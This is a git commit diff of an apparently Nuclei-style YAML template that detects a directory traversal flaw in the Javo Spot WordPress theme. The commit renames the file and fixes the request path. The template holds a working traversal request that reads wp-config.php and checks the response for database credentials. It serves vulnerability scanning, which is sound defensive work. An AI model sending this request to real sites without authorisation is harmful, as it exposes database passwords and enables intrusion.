Update and rename wp-javospot-premium-theme-lfi.yaml to vulnerabilities/wordpress/wp-javospot-lfi.yaml

patch-1
Prince Chaddha 2021-10-26 23:55:34 +05:30 committed by GitHub
parent 6ed2906853
commit ab633f8675
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 7 additions and 4 deletions

View File

@ -1,24 +1,27 @@
id: wp-javospot-premium-theme-lfi
id: wp-javospot-lfi
info:
name: Javo Spot Premium Theme - Unauthenticated Directory Traversal
author: 0x_Akoko
severity: high
reference:
- https://codeseekah.com/2017/02/09/javo-themes-spot-lfi-vulnerability/
- https://wpscan.com/vulnerability/2d465fc4-d4fa-43bb-9c0d-71dcc3ee4eab
- https://themeforest.net/item/javo-spot-multi-purpose-directory-wordpress-theme/13198068
tags: wordpress,wp-theme,lfi,wp
reference: https://wpscan.com/vulnerability/2d465fc4-d4fa-43bb-9c0d-71dcc3ee4eab
requests:
- method: GET
path:
- '{{BaseURL}}/wp-admin/admin-ajax.php? jvfrm_spot_get_json&fn=../../wp-config.php&callback=jQuery'
- '{{BaseURL}}/wp-admin/admin-ajax.php?jvfrm_spot_get_json&fn=../../wp-config.php&callback=jQuery'
matchers-condition: and
matchers:
- type: word
part: body
words:
- "DB_NAME"
- "DB_PASSWORD"
part: body
condition: and
- type: status